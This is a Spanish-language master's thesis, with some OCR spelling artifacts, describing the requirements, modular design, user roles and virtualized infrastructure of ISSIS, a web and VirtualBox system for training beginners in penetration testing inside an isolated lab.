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Resumen

El presente trabajo describe el disefio e implementacién de un sistema informatico cuyo
propdsito es el de capacitar personas en la ejecucién de un test de intrusion. Se describen
las fases de requisitos, analisis, disefio, implementacion y pruebas para obtener un sistema
con una infraestructura compuesta por un ambiente virtual y una aplicacion web. Se analizan
la adaptabilidad y conformidad de los usuarios cuando reciben capacitacion con el sistema.
Se concluye que el sistema propuesto puede ser un refuerzo, apoyo o agregado para
aquellas personas que participen en un proceso de capacitacién para aprender a ejecutar un

test de intrusion a sistemas vulnerables.

Palabras Clave: Ciberseguridad, capacitacion, software, simulador, servidor

Disefio e implementacién de sistema informatico para entrenamiento en test de intrusion



Julian Camilo Fonseca Romero Master Universitario en Ingenieria de Software y
Sistemas informaticos

Abstract

This document describes the design and implementation of a computer system to train
people in the execution of one hacking intrusion test. It describes the phases of the
requirements, analysis, design, implementation and testing to obtain a system with an
infrastructure composed of a virtual environment and a web application. Adaptability and
user compliance are analyzed when training with the system. It is concluded that the
proposed system can be a support or one aggregate for a training process which objective is
teach to perform an intrusion test on vulnerable systems.

Keywords: Cyber security, training, software, simulator, server.
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1. Introduccion

El presente trabajo describe el disefio e implementacion de un sistema informético para

entrenamiento y capacitacion en la ejecucion de un test de intrusion.

Se empieza justificando el desarrollo del proyecto. Se plantean algunos problemas cuando
se aprende a realizar un test de intrusién. El exceso de informacion en internet o libros con

tematicas muy variadas son algunas de las razones para desarrollar el actual proyecto.

Se expone el estado del arte en simuladores de seguridad informatica. Hoy en dia existen
diversas investigaciones que han tratado el tema y se tiene una clasificacién de tipos de

simuladores.

En la metodologia se describen los pasos a seguir para disefiar e implementar el sistema
informatico. Inicialmente se establecen los requisitos que el sistema debe cumplir. Acorde a
los mismos, se decide que el sistema informatico debe ser modular compuesto por un
médulo Simulador, moédulo Aplicacion, moédulo Practicas y médulo Infraestructura. Cada

madulo tiene sus tecnologias y metodologias propias.

En el disefio del sistema informatico se definen unas ecuaciones que ayudan a entender las
relaciones de dependencia de los médulos. Para una mejor administracién y gestion, se
crean tres roles de usuario que tendran privilegios y restricciones sobre el sistema. Una vez
culminada la fase de disefio, se procede con la fase de implementacion en la cual se instala
el software requerido necesario sobre un equipo que cumple con los requisitos en hardware
previamente establecidos. Todo el software recae sobre un sistema operativo tipo LINUX.
En este apartado se explica el paso a paso para instalar y configurar el modulo Aplicacion
con el servidor web Apache y el médulo Simulador con el hypervisor virtualBox. Se registra
en tablas a los usuarios y sus contrasefias de acceso. También se registra cada una de las

maquinas o aplicaciones del sistema junto a la red a la que pertenecen.

En el moédulo Aplicacion es necesario aplicar ingenieria de software para disefiar e
implementar la aplicacion web. En esta seccion se describen las fases de analisis, disefio e
implementacion. Las pruebas sobre la aplicacion web se ejecutan en conjunto con las
pruebas desarrolladas sobre el sistema informético. Se analizan los resultados obtenidos al
determinar el nivel de adaptabilidad de los usuarios al sistema y se tiene en cuenta su

opinion.

Por ultimo se concluye que el sistema informatico cumple los objetivos y esta listo para que

se siga trabajando sobre el mismo y asi a futuro obtener mejoras considerables.
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1.1 Justificacion

El estudio de temas de seguridad informética puede tornarse complejo, tedioso y dificil.
Adquirir los conocimientos necesarios puede ser una tarea ardua debido a razones como:
exceso de informacion en internet, libros con tematicas muy variadas o desactualizadas. Las
herramientas de hacking suelen ser bastante estables pero en ocasiones contienen
demasiadas utilidades lo cual causa confusién en algunas personas dejandolas frustradas
sin animos de continuar aprendiendo. Existen instituciones académicas que ofrecen
capacitacion de calidad en ciberseguridad (ya sea presencial o virtual) a cambio de un costo
monetario pero este costo algunas personas no lo pueden asumir. En ciertos casos los
docentes y sus alumnos se ven limitados en tiempo y recursos para descargar, instalar,
configurar y usar herramientas de hacking. Las personas con poca experiencia al momento
de hacer una actividad de ciberseguridad real, pueden sentirse inseguras y terminan
desarrollando la actividad sin considerar que accidentalmente podrian alterar los activos de

informacién dejando dafios graves e irreparables.
1.2 Planteamiento del trabajo

Teniendo en cuenta la justificacion planteada, se propone el disefio e implementacién de un
sistema informatico en el que cualquier persona con 0 sin experiencia pueda entrenarse en
la ejecucién de un test de intrusién de forma practica y guiada. Para esto se establecen los
requisitos que el sistema debe cumplir. Se selecciona la infraestructura para alojar un
servidor web y un hypervisor donde los usuarios tienen acceso a maquinas virtuales pre-

configuradas para realizar una practica de intrusién de hacking ético.
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1.3 Estructura de la memoria

Los siguientes capitulos describen el estado del arte y el proceso de desarrollo del sistema
informatico. En el estado del arte se muestran las investigaciones que se han realizado en
materia de simuladores de seguridad informatica. Se describen propuestas desde sistemas
formales con mateméticas discretas hasta laboratorios reales cuyos costos de
implementacion y uso son altos. Se describen los diferentes tipos de simuladores y se dan
algunos ejemplos. Luego se establecen los objetivos del actual trabajo fin de master. El
objetivo general es el de establecer un sistema informético cuya funcionalidad permita a una
persona obtener experiencia en el desarrollo de un test de intrusién de una forma rapida,

practica y sin complicaciones.

La metodologia del trabajo muestra los pasos a seguir para desarrollar el sistema
informatico. Es necesario seguir unas fases. La primera fase es de analisis de requisitos y
disefio. La siguiente fase es de implementacién y construccion. La Ultima fase es de pruebas
y depuracion.

En el desarrollo especifico de la contribucion se selecciona un desarrollo practico. En la fase
de andlisis de requisitos se menciona con que debe cumplir el sistema informético. En el
disefio se describe como se debe implementar el sistema informético. Se explica el sistema
por medio de diagramas. En la implementacion del sistema se describe el paso a paso para
montar el sistema informatico desde la instalacion del sistema operativo hasta la instalacién
del software necesario para usar tecnologias de virtualizacion y del lado del servidor web.
Finalmente en la fase de pruebas se identifican posibles problemas en el funcionamiento a

nivel general del sistema informatico para depurarlos.

Finalmente se exponen las conclusiones del trabajo desarrollado y se proyecta un posible

trabajo a futuro.
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2. Contexto y estado del arte

En la actualidad existen propuestas, desarrollos e investigaciones relacionadas con modelos
y simuladores de seguridad de la informacién. A partir de estos simuladores es posible
orientar el desarrollo del actual trabajo fin de master. A continuacion se describen las

investigaciones mas relevantes acorde a su utilidad en el actual proyecto.

El articulo web “The Case for Modeling and Simulation of Information Security” del doctor
John H. Saunders, describe la importancia de simular y modelar los sistemas informaticos
para saber qué debilidades existen y que se podria hacer en caso de que las amenazas se
hagan realidad. Se obtiene un menor riesgo cuando se conoce en profundidad el ambiente
de la seguridad de la informacion de la organizacion entendiéndolo de una forma
cuantitativa, cualitativa, estatica, dinamica, local y global. El articulo describe que modelar es
la representacion grafica estatica de un sistema real mientras que simular es la
representacion dinamica de los modelos incluyendo el tiempo como variable independiente.
Modelar y simular permite testear ataques, defensas, analizar intrusiones y entrenar en
seguridad informatica. El autor clasifica los simuladores de seguridad de la informacién en 5
tipos. Estos son: Packet wars, Network Design Tools, Canned Attack/Defend Scenarios,

Management Flight Simulators y Role Playing [1].

La anterior clasificacion también se ve expuesta en el articulo “The role of Modeling and
Simulation in Information Security. The Lost Ring”, el autor Mohammad Heidari describe
cada tipo de simulador de seguridad de la informacion con ejemplos de su implementacion.
Para el tipo Packet Wars la simulacion se realiza con personas o0 entes reales en un
escenario real. Un ejemplo de este tipo de simulacién es IWAR (Information Warfare
Analysis and Research. En IWAR se montan laboratorios con hardware, software y personas
reales para realizar acciones de ataque y defensa reales. Es uno de los tipos de simulacion
de los que se obtienen mejores resultados, sin embargo es necesario invertir muchos
recursos, tiempo y dinero. El siguiente tipo de simulacion es Network Design Tools. En este
tipo de simulacién se construye, simula y evallta el disefio de una red de datos, sus
configuraciones y sus protocolos. Es necesario usar un sniffer para interceptar en tiempo
real el trafico de la red y asi poder realizar un analisis. Un ejemplo de este tipo de simulacion
es OPNET (Optimized Network Engineering Tool). OPNET esta compuesto por un editor de
topologia de red, un editor de flujo de datos y un editor de procesos y parametros. En el
plano de la seguridad de la informacién, OPNET tiene un mdédulo de nombre Net Doctor.
Este mddulo permite evaluar las configuraciones de los dispositivos de la red para detectar

el estado de su integridad o posibles problemas de configuracion.
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El tipo de simulador Canned Attack/Defend Scenarios, tiene la caracteristica de ser
enteramente un software empaquetado en un CD por lo que es facil de distribuir. Por lo
general desarrollar este software requiere un nimero alto de personas y esta disefiado con
contenidos multimedia. Su objetivo principal es el de capacitar y ensefiar. Un ejemplo de
este tipo de simulador es MADDNET en el que los usuarios construyen una red para
después ser sometida a varios ataques desde un servidor. De esta forma se prueba si la
seguridad implantada en la red es eficaz o no lo es. En el simulador de tipo Management
Flight Simulator se usan ecuaciones diferenciales para simular cambios de estado en
multiples periodos de tiempo. Es una herramienta de eventos discretos. La interfaz del
usuario se limita a diagramas que representan los componentes de un sistema y la idea es
modificar diferentes variables. Este tipo de simulador va encaminado a ser usado por
directores de proyectos. Un ejemplo de este tipo de simulador es easel el cual aparte de ser
una herramienta que cumple con la anterior descripcion también es un lenguaje de
programacion. Finalmente el simulador de tipo Role Playing a diferencia de los anteriores no
esta basado en sistemas computacionales. Este tipo de simulacién esta orientado a la
interaccion cara a cara entre actores que pretenden estar en un contexto relacionado con la
seguridad de una organizacion. El objetivo es identificar las diferentes acciones que pueden

realizar las personas involucradas [2].
La Tabla 1 muestra el resumen de los 5 tipos de simuladores de seguridad de la informacion.

Tabla 1. Comparacion de Simuladores

Mgmt
Role Canned Network )
_ Packet Wars ) Flight
Playing | Attack/Defend Design _
Simulators
Personal en o
. . L Administradores )
Audiencia General capacitacion de red Investigadores Gerentes
ere
sobre IT
. ) Cyber Protect,
Ejemplos Christy IWARS OPNET EASEL
MADDNET
Presupuesto Bajo Muy Alto Alto Moderado Moderado
Tiempo de Horas, Semanas,
. ] Meses, afios Semanas, meses | Dias, semanas
construccion dias meses
Curvade
o Réapida Réapida Moderada Lenta Réapida
aprendizaje

Types of Simulations - A comparison. The Case for Modeling and Simulation of Information Security
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A continuacion se describe algunos ejemplos de los tipos de simulacion haciendo énfasis en
los tipos de simulador que le podria ser util al actual proyecto.

El primer ejemplo es MAADNET que en espafiol significa la academia militar de red de
ataque y defensa. Se origin6 a raiz de los trabajos realizados en otro simulador de nombre
Cyber Protect. MAADNET es un simulador de tipo Canned Attack/Defend Scenarios. Su
objetivo es el de simular la creacion y gestién de un sistema de informacion integrandolos en
un entorno de aprendizaje de aseguramiento de la informacion. MADDNET esta basada en
una arquitectura cliente servidor y usa el paradigma de simulacion de eventos discretos. En
este simulador el usuario empieza construyendo una red acorde a un escenario propuesto
por el simulador. Esta red es recibida por un servidor la cual la expone a diversos tipos de
ataques. La idea es ver el comportamiento de la red al ser sometida a diferentes ataques.
De esta manera se decide posibles alternativas para depurarla ya sea reforzando sus
politicas de seguridad o empleando méas administradores. MAADNET es adoptada como
una herramienta para capacitacion la cual usa programacién orientada a objetos usando el
lenguaje JAVA para obtener un motor de simulacién, escenarios de ataque y los
mecanismos de evaluacion. Al usuario se le asigna una herramienta generadora de
escenario, un constructor de red y la vista de simulador. La red a construir contiene varios
dispositivos como switches, routers, workstations, Access points entre otros. Se puede
configurar cada dispositivo para que falle y sea reparado cada cierto tiempo. De esta
manera se provee mas realismo a la simulacién. La defensa de la red en el escenario es
estatica pero los ataques a la misma son dinAmicos. Estos ataques pueden ser originados

desde internet, intranet o desde puntos de acceso dentro del simulador [3].

El siguiente ejemplo es NeSSi2. Este simulador es de tipo Network Design Tools. NeSSi2 en
espafiol significa simulador de seguridad de red. Fue creado en el laboratorio DAI el cual es
parte de la escuela de ingenieria electrénica y ciencias computacionales del instituto de
tecnologia de Berlin. Es un simulador de red de eventos discretos publicado bajo licencia
APACHE 2.0. Con este simulador es posible realizar generacién automatizada de ataques,
andlisis de tréafico, deteccion de algoritmos. En este simulador es posible trabajar con tres
niveles diferentes de abstracciébn como son de aplicacion, de red y a nivel de dispositivo.
NeSSi2 fue construido sobre JIAC el cual es un framework basado en java para construir
aplicaciones industriales. NeSSi2 se compone de una interfaz grafica de usuario y una base
de datos. La interfaz gréafica se puede descargar para Windows, Linux y MAC OS mientras

gue para las bases de datos los creadores de NeSSi2 recomiendan MySQL [4].
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El tercer ejemplo es un simulador tipo Packet Wars y tiene por nombre RINSE el cual
significa “The real time immersive network simulation environment for network security
exercises of the information trust institute of the University of lllinois at Urbana-Champaign”.
Este simulador esta disefiado para préacticas de ciberseguridad a gran escala en tiempo real.
Este simulador consta de cinco componentes como son:

e Red de simulador iSSFNet [5].

e Administrador de bases de datos del simulador.
e Bases de datos del simulador.

e Servidor de bases de datos.

e Vista de red del lado del cliente.

La red del simulador iSSFNet estd desarrollada en C++. Cada entidad del simulador se
conecta a la base de datos por medio del administrador de bases de datos. El servidor de
bases de datos se comunica con la aplicacion cliente la cual esta desarrollada en JAVA. Los
usuarios pueden monitorear y controlar la red simulada del lado del cliente. Los usuarios
ingresan varios comandos desde la interfaz para que el simulador en general tome algun
comportamiento especifico. Los comandos son de los siguientes tipos:

e Comandos de ataque

e Comandos de defensa

e Comandos de diagnostico

e Comandos de control de dispositivos

e Comandos de informacion de simulacién.

Pese a que el presente simulador estad disefiado para practicas a larga escala, este se

puede configurar para escenarios puntuales como grupos de capacitacién pequefios [6].

El ejemplo mas reciente de simulador de ciberseguridad es SACO (Simulador Avanzado
para la Ciberdefensa Organizada). Tiene como objetivo entrenar a los cuerpos y fuerzas de
seguridad, las fuerzas armadas y en general cualquier organizacion civil o militar a nivel
nacional e internacional en practicas de ciberdefensa para adquirir conocimientos vy
capacidades en técnicas de prevencion, defensa y recuperacion ante cualquier ciberataque.
SACO cumple con la formalizacion del conocimiento suficiente para para simulacion de
escenarios de ciberdefensa, ataques, contramedidas y catalogo de vulnerabilidades. Para
las contramedidas disponen de un laboratorio en el que se disefia la reingenieria de
malware. Desplegaron una arquitectura tecnoldgica escalable para la virtualizacion de redes
de comunicacion y sistemas de informacion complejos. SACO permite ejecutar ciberataques

contra sistemas virtualizados acorde a su catalogo de conocimiento.
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El valor agregado de SACO es su herramienta para realizar andlisis forense una vez las
practicas hayan concluido. Las siguientes son las tecnologias usadas por SACO:

e Analizadores de vulnerabilidades

e Infraestructura para andlisis y disefio de malware y ciber-armas

e Plataformas y lenguajes de programacién para entornos iterativos
e Modelado y visualizacién de grafos complejos

e Herramientas de analisis forense para escenarios virtualizados

e Tecnologias de virtualizacién.

El proyecto SACO fue desarrollado en conjunto por la compafia Indra, la universidad de
Méalaga y la universidad Carlos Ill de Madrid. Indra lidero la puesta en marcha del laboratorio
de Malware, la herramienta de analisis de ciberamenazas, infraestructura de virtualizacion y

los cuadros de mando y control [7].

Teniendo en cuenta los ejemplos de simuladores, es necesario analizar cuales son Utiles
para el actual proyecto. Se descarta el tipo Role Playing y Management Flight Simulator ya
que el actual proyecto trata sobre aprender a realizar un test de intrusién y no incluye nada
relacionado con juegos de roles o aplicacion de ecuaciones diferenciales en eventos
discretos. Los tipos de simulador que pueden ser Utiles para el actual proyecto son:

e Canned Attack/Defend es util ya que una de sus funciones es capacitar personas.

e Packet Wars permite implementar hardware y software real para la simulacién.

o Network Design también aplica al proyecto ya que en un test de intrusidén es necesario
disefiar y trabajar en una topologia de red.

En resumen el actual estado de arte permite sembrar los cimientos para la construccion del
presente trabajo. A continuacion se describen los objetivos del proyecto y la metodologia de

trabajo a seguir para obtener el sistema informatico.
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3. Objetivos concretos y metodologia de trabajo

3.1. Objetivo general

Disefiar e implementar un sistema informatico con una infraestructura estable usando
tecnologias web y de virtualizacidon que permita a sus usuarios capacitarse en la ejecucion

de un test de intrusién de forma practica.
3.2. Objetivos especificos

e Obtener informacion de plataformas, simuladores y proyectos en general
relacionados con capacitacion en seguridad informatica para aplicar en el actual
trabajo fin de master.

o Establecer los requisitos que el sistema informatico y sus componentes deben
cumplir.

e Construir la infraestructura del sistema informatico de tal forma que no exista
inconveniente al momento de alojar e integrar las tecnologias web y de virtualizacion.

o Disefar y desarrollar una aplicacién web cuya funcién sea guiar a los usuarios en el
desarrollo de las practicas de test de intrusion.

e Comparar los resultados al momento de realizar una capacitacién de test de intrusion

usando el sistema informatico y sin este.
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3.3. Metodologia del trabajo

Para desarrollar el presente proyecto, inicialmente se establecen los requisitos de
funcionamiento del sistema informatico. Los requisitos determinan las tecnologias que se
deben usar y sirven de guia de construccién del sistema informético. Con los requisitos

listos, se continGla con la fase de disefio.

En la fase de disefio, se decide que el sistema tenga una arquitectura modular con
relaciones de dependencia de sus componentes y roles de usuario. En la arquitectura
modular se explica en detalle que contiene cada médulo. Los mdodulos tienen por nombre
Simulador, Aplicacién, Practicas e Infraestructura. Estos mdédulos tienen relaciones de
dependencia unos con otros y esto se ve reflejado ya sea en su contenido o configuracion.
Es decir la configuracién o el contenido de alguno de los médulos dependen de la
configuracion o contenido de otro moédulo. Para entender mejor las relaciones de
dependencia se establece dos ecuaciones faciles de entender. Una vez explicados los
maodulos se procede a establecer los roles de usuario del sistema informatico. Esto se hace
con fines de tener una mejor gestion y control sobre el sistema. Dependiendo del rol de

usuario que tenga la persona, esta tendrd privilegios o limitaciones sobre el sistema.

La implementacion del sistema empieza con la seleccién de un equipo de computo con el
hardware suficiente como para que el sistema funcione establemente. Se instala el software
necesario compuesto por un hypervisor de virtualizacién y un servidor web. Se configura el
servidor web para que sirva contenido en HTML y PHP. Este contenido muestra como usar
el sistema informatico y la guia practica para realizar un test de intrusion. Se configura el
hypervisor de virtualizacion de tal forma que la persona con rol de administrador pueda
configurar la red virtual y las maquinas virtuales habilitando servicios de acceso remoto para
que los usuarios realicen una practica de test de intrusibn en un ambiente aislado. Se
activan los servicios y luego se realiza la practica. Para probar el sistema se seleccionan
personas con conocimientos limitados para que aprendan a ejecutar un test de intrusion.
Una vez culminen la practica, se entrevista a estas personas para saber su opinion y asi

identificar que se puede mejorar y que se necesita depurar sobre el sistema.
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4. Desarrollo especifico de la contribucion

Inicialmente se plantean los requisitos que el sistema debe cumplir. A partir de estos
requisitos se propone una solucién. La solucién se refleja en un proceso de disefio integral
donde se definen los componentes del sistema y sus relaciones de dependencia entre los
mismos. Cada componente del sistema tiene su propia tecnologia. Se explican los
componentes y los roles de usuario del sistema informatico los cuales tienen restricciones y

privilegios. De esta forma se garantiza la integridad y disponibilidad del sistema.

4.1. ldentificacion de requisitos

e Los usuarios del sistema informatico pueden realizar una prueba de tipo test de intrusion de
forma practica y guiada en una infraestructura previamente configurada y lista para ser
usada.

e Se debe tener una guia previamente analizada en la cual los usuarios en capacitacidn sigan
indicaciones para realizar un test de intrusién sin correr riesgo de afectar de alguna forma
cualquier sistema de informacidn ajeno al sistema informatico.

e Se tienen roles de usuario del sistema informatico que diferencien a las personas en
capacitacidn de los administradores del sistema.

e Los usuarios con rol de administrador tienen control y gestién sobre el sistema informatico.

e Las tecnologias usadas en la plataforma son de licencia libre y abierta para que cualquier
persona haga uso de las mismas de forma tranquila y legal.

e Para la simulacién se hace uso de tecnologias de virtualizacién las cuales permiten un uso
eficiente de los recursos del ordenador exclusivo para el sistema informatico.

e Se evita en la medida que sea posible cualquier instalaciéon de software en la maquina del
usuario en capacitacion. El uso y la interaccién del sistema informatico se limita a lo que
permita un navegador web o cualquier software liviano o portatil.

e La guia de procedimiento para realizar el test de intrusidn esta disponible tanto en contenido
HTML dindmico como en PDF para facilidad del usuario.

e El sistema informatico estd configurado para que se pueda acceder al mismo remotamente
en una red local.
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4.2. Descripcion del sistema desarrollado

4.2.1. Diseio del sistema informatico

El sistema informatico esta compuesto por cuatro componentes o mddulos. Los mddulos
son:

e Moddulo Aplicacion

e Moddulo Simulador

e Moddulo Practicas
e Modulo Infraestructura

El modulo Aplicacion contiene las tecnologias web del lado del servidor. Su funcién es servir

como interfaz entre los usuarios y el sistema informatico.

El médulo Simulador contiene las tecnologias de virtualizacion donde se construye el

escenario virtual. En estos escenarios se ejecutan las practicas de test de intrusion.

El médulo Practicas define las reglas para la creacidon de la guia donde se describe el
procedimiento para realizar el test de intrusién. El contenido de este médulo posteriormente

se pasa a cédigo HTML, CSS, PHP y JavaScript para ser usado en el médulo Aplicacion.
El modulo Infraestructura establece el hardware y software para los deméas médulos.

Los moddulos se relacionan entre si. Estas relaciones son de dependencia y se pueden

representar en dos ecuaciones. La Figura 1 muestra las dos ecuaciones de dependencia.

ISSIS; = Ay + Sep +1

ISSISp = Ay + S(py + P

Figura 1. Ecuaciones de dependencia (Elaboracion propia)

La primera ecuacion ISSIS, representa el sistema informético en funcion de la
infraestructura. La segunda ecuacion ISSIS, representa el sistema informatico en funcion de
la guia préactica a ejecutar. El nombre ISSIS es la abreviacion de Informatic Security
Simulator Information System que en espafiol significa: Sistema de informacién de simulador
de seguridad informatica. ISSIS permite identificar facilmente el sistema en general y a partir

de este momento se usaré con este propésito.
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ISSIS, se define como la integracién de los mddulos Aplicacién (A), Simulador (S) e
Infraestructura () donde los médulos Aplicacion y Simulador estan en funcion del médulo
Infraestructura. Con esto se quiere dar a entender que el software de virtualizacion y el
software del aplicativo web dependen de las tecnologias presentes la infraestructura del
sistema informético. Por ejemplo si en la infraestructura se decide usar un sistema operativo
tipo LINUX, entonces el hypervisor presente en el modulo Simulador y el servidor web del
maodulo Aplicacion deben ser compatibles para plataformas LINUX y no otras como Windows
o MAC OS.

ISSISp se define como la integracion de los modulos Aplicacion (A), Simulador (S) y
Practicas (P) donde los mdédulos Aplicacién y Simulador estdn en funcion del mddulo
Practicas. Con esto se quiere dar a entender que la configuracion del escenario virtual y los
contenidos de la aplicacion web dependen del contenido presentes en el modulo Practicas.
Por ejemplo si en la guia practica se describe que hay dos maquinas virtuales entonces se
deben activar dos maquinas virtuales y el acceso a las mismas esta detallado en el

aplicativo web.

En resumen ISSIS, determina que instalar mientras que ISSISp determina como configurar
lo instalado.
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4.2.2. Roles de Usuario

Se establecen 3 roles de usuario para trabajar en el sistema informético. Estos roles son:

Arquitecto
Administrador
Usuario

Cada rol tiene funciones, limitaciones y privilegios sobre los modulos Aplicacién, Simulador,

Infraestructura y Practicas. Estos privilegios pueden verse como permisos de lectura y

escritura sobre el sistema. Por ejemplo el usuario con rol de Arquitecto tiene permisos de

lectura y escritura sobre los médulos Infraestructura, Aplicacién y Simulador pero tiene

permisos de solo lectura sobre el médulo Practicas. El usuario con rol Administrador tiene

permisos de solo lectura sobre los médulos Infraestructura, Aplicacion y Simulador pero

tiene permisos de escritura y lectura sobre el médulo Practicas. A continuacién se define

cada rol de usuario.

El usuario con rol Arquitecto se encarga de la administracidn, configuracidén y mantenimiento
de la infraestructura donde reside el sistema informatico. Instala y configura el software y
hardware minimo necesario en el que funcionara las tecnologias presentes en los médulos
Simulador y Aplicacidn. El usuario con rol Arquitecto le corresponde mantener, desarrollary
modificar la aplicacién web acorde al contenido de las guias elaboradas por el usuario con rol
Administrador.

El usuario con rol Administrador hace uso de las tecnologias presentes en los mddulos
Aplicaciéon y Simulador. El uso de estas tecnologias es de solo lectura por tanto el
administrador podra gestionarlas mas no modificarlas. El usuario con rol Administrador
tiene permisos de lectura y escritura sobre el mddulo practicas. Esto quiere decir que este
usuario disefa y crea la practica del test de intrusién. Después de creada la guia del test de
intrusién; esta es recibida por el usuario con rol de Arquitecto para que sea incluida en la
aplicacion web. Un ejemplo de usuario con rol de Administrador es un docente.

El usuario con rol Usuario es cualquier persona que esté desarrollando la guia de forma
practica. Se considera que dicha persona tiene conocimientos limitados. El objetivo de esta
persona es lograr obtener los conocimientos para realizar un test de intrusidon una vez
culmine el desarrollo de la guia. No confundir al usuario con la persona con rol de Usuario.
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La Tabla 2 muestra los permisos de lectura y escritura de los usuarios sobre los médulos del

sistema informético segun su rol.

Tabla 2. Permisos de lectura y escritura de usuarios

L: Lectura Modulo Modulo Mdédulo Modulo
E: Escritura Aplicacion Simulador Practicas Infraestructura
Arquitecto L/E L/E L L/E
Administrador L L L/E No aplica
Usuario L L L No aplica

Elaboracion propia

A pesar de que existen tres roles diferentes, no es obligacion que deban haber tres
personas diferentes para el uso del sistema informatico. Con dos personas puede ser
suficiente ya que la primera puede asumir los roles de Arquitecto y Administrador mientras
gque la segunda persona puede asumir el rol de Usuario. Inclusive una sola persona puede

tener los tres roles de usuario del sistema informatico.
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4.2.3. Explicacion de mddulos

e Moddulo Aplicacion (A): Este moddulo corresponde a la aplicacion web del sistema
informatico. Esta aplicacion web muestra los contenidos de la guia practica del test de
intrusidon y los contenidos del uso y gestidon del sistema informatico. La aplicacion web
funciona como interfaz de comunicacién entre el sistema informatico y los usuarios del
mismo. Se realiza un procedimiento de ingenieria de software para realizar la aplicacion web.
Este procedimiento se basa en las fases analisis, disefio, implementacién y pruebas. La fase
pruebas se desarrolla en conjunto con la fase pruebas del sistema informatico. Las demas
fases se desarrollan dentro del médulo Aplicacién. Segun el rol de usuario que la persona
tenga, el sistema re direcciona al usuario a cierto contenido web especifico dentro de Ila
aplicacion. Por ejemplo si la persona tiene rol de Administrador, esta es re direccionada a los
contenidos de uso y gestidn del sistema informatico Por el contrario si la persona tiene rol de
Usuario, esta solo podrda acceder a los contenidos de la guia practica del test de intrusién. Lo
anterior se puede observar en la Figura 2.

APLICACION WEB

Contenido USO & Gestidn de ISSIS

Contenido guia practica <1
Test de Intrusidn

Administradon

Usuario

Figura 2. Acceso a contenidos segun rol de usuario (Elaboracion propia)

e Moddulo Simulador (S): En este mddulo se encuentran las tecnologias de virtualizacién que
permiten a los usuarios realizar el test de intrusiéon sin correr riesgos de afectar la
disponibilidad e integridad del sistema informatico cuando realicen tareas de enumeracion,
analisis de vulnerabilidades y explotaciéon en un escenario virtual aislado y controlado. El
hypervisor seleccionado es VirtualBox el cual puede configurarse y adaptarse segun las
necesidades del sistema informatico. VirtualBox es software libre y por tanto puede
descargarse, instalarse y usarse libremente. Con VirtualBox es posible configurar los recursos
de las maquinas virtuales para que el uso del hardware de la maquina anfitriona sea
eficiente. Se hace uso de la aplicacion phpVirtualBox para que el usuario con rol
Administrador del sistema tengan control del hypervisor remotamente por medio de un
navegador web sin necesidad que tengan que tener acceso fisico a la maquina donde reside
el sistema de virtualizacidn. El escenario virtual se construye acorde a los contenidos de la
guia practica. Es funcidon de la persona con rol de Administrador activar o desactivar el
escenario virtual. El escenario virtual es una red compuesta por maquinas virtuales que
interactuan entre si. El escenario para la practica del test de intrusién estd compuesto por
tres mdquinas. Una maquina virtual atacante de nombre HORUS, una maquina virtual victima
de nombre VICTIMA y una maquina virtual de nombre OSIRIS donde reside el contenido web
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de la guia practica del test de intrusidon. La maquina virtual OSIRIS tiene comunicacién con
todas las maquinas virtuales del escenario virtual y con la maquina anfitriona de nombre
ISSIS. Solo la persona con rol de usuario Arquitecto puede modificar el contenido web de la
guia practica del test de intrusion. La aplicacidn web estd alojada en la maquina anfitriona sin
embargo los contenidos de la guia practica se acceden por medio de la mdaquina virtual
OSIRIS. Esto es posible ya que la carpeta de la mdquina anfitriona donde residen dichos
contenidos esta compartida con la carpeta raiz del servidor web de la maquina virtual OSIRIS.
Para comprender mejor esta topologia de red revisar la Figura 3.

| ISSIS

MODULO SIMULADOR OSIRIS
I

h
‘_ pra— Arquitecto
— 1 >

Magquina fisica >
MV servidor guias practicas |~/1ssIs/www/app\WebPracticas
~f{OSIRIS/appWebPracticas

g ; Administrado

MV Atacante MV Victima

Usuario

g
>

Figura 3. Topologia de red de médulo Simulador (Elaboracién propia)

e Moddulo Practicas (P): Contiene la guia que describen los pasos que las personas con rol
usuario deben seguir para realizar de forma practica un test de intrusién en el escenario
virtualizado. Esta guia debe estar cuidadosamente elaborada y debe contener lo siguiente:

Fecha de creacién de la guia.

Fecha de ultima modificacion de la guia.

Nombre del autor de la guia.

Tiempo estimado de desarrollo de la practica.

Lista y descripcion de las herramientas a usar.

Objetivos de las practicas.

Ilustraciones cuando sea necesario.

O O O O O O O

Descripcidn de los pasos a seguir con buena redaccién y sin errores ortograficos.
Historial de versiones de la guia.

Antes de que la guia practica para el test de intrusion sea alojada en el sistema informatico,
esta debe haber sido lo suficientemente revisada donde se determine sin cumple con los
anteriores aspectos.

El articulo “Disefio de un ambiente simulado para seguridad de la informacién” describe tres
fases a seguir cuando se ejecuta un test de intrusidn [8]. Estas fases son:

o Enumeracién.

o Andlisis de vulnerabilidades.

o Explotacién.
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En la fase enumeracion se identifican las maquinas y sus servicios en el escenario.

En la fase andlisis de vulnerabilidades se identifican las posibles vulnerabilidades o brechas
de seguridad que contengan los servicios de las maquinas previamente identificadas en la
anterior fase. En la fase explotacion se atacan las maquinas victimas.

La anterior explicacidn se tiene en cuenta al momento de desarrollar la guia practica del test
de intrusion.

e Moddulo Infraestructura (I): El sistema operativo seleccionado para el sistema informatico es
LINUX en cualquiera de sus distribuciones siempre y cuando sea posible modificarla sin
demasiada dificultad a los requerimientos del sistema informatico lo cual incluye instalar el
software minimo necesario requerido por los mddulos Aplicacidon y Simulador del sistema
informatico. La maquina anfitriona debe cumplir con los siguientes requisitos minimos en
hardware:

o CPU cuad core con extensidn de virtualizacion ya sea IVT de Intel o AMD-V de AMD.
o 16 GB de memoria RAM.

o Disco duro de 500 GB de capacidad.

o Tarjeta de red aldmbrica de 10/100 MB.

En la maquina anfitriona se instala el siguiente software:
o Sistema Operativo LINUX.
o OpenSSH para la administracidon remota del sistema.

Para el médulo Aplicacién se instala el siguiente software:

Servidor Web Apache con soporte para interpretar codigo PHP.
Base de datos Mariadb.

Gestor de bases de datos phpMyAdmin para Mariadb.

O O O O

Gestor de bases de datos phpPgAdmin para Postgresql.

Para el médulo Simulador se instala el siguiente software:
o Oracle VirtualBox como hypervisor.
o Aplicacién phpVirtualBox para administracion remota de hypervisor.

El anterior software se instala en la maquina anfitriona sin embargo en las maquinas
virtuales también es necesario instalar el software descrito en la guia practica del test de
intrusion.

Para la maquina atacante se instala el siguiente software:

Sistema operativo LINUX.

OpenSSH para administraciéon remota de sistema.

NMAP para procesos de enumeracion.

O O O O

Metasploit para procesos de explotatacion.

Para la maquina de nombre OSIRIS se instala el siguiente software:
o Servidor web Apache con soporte para interpretacién de cédigo PHP.
o Base de datos Postgresql para framework Metasploit.
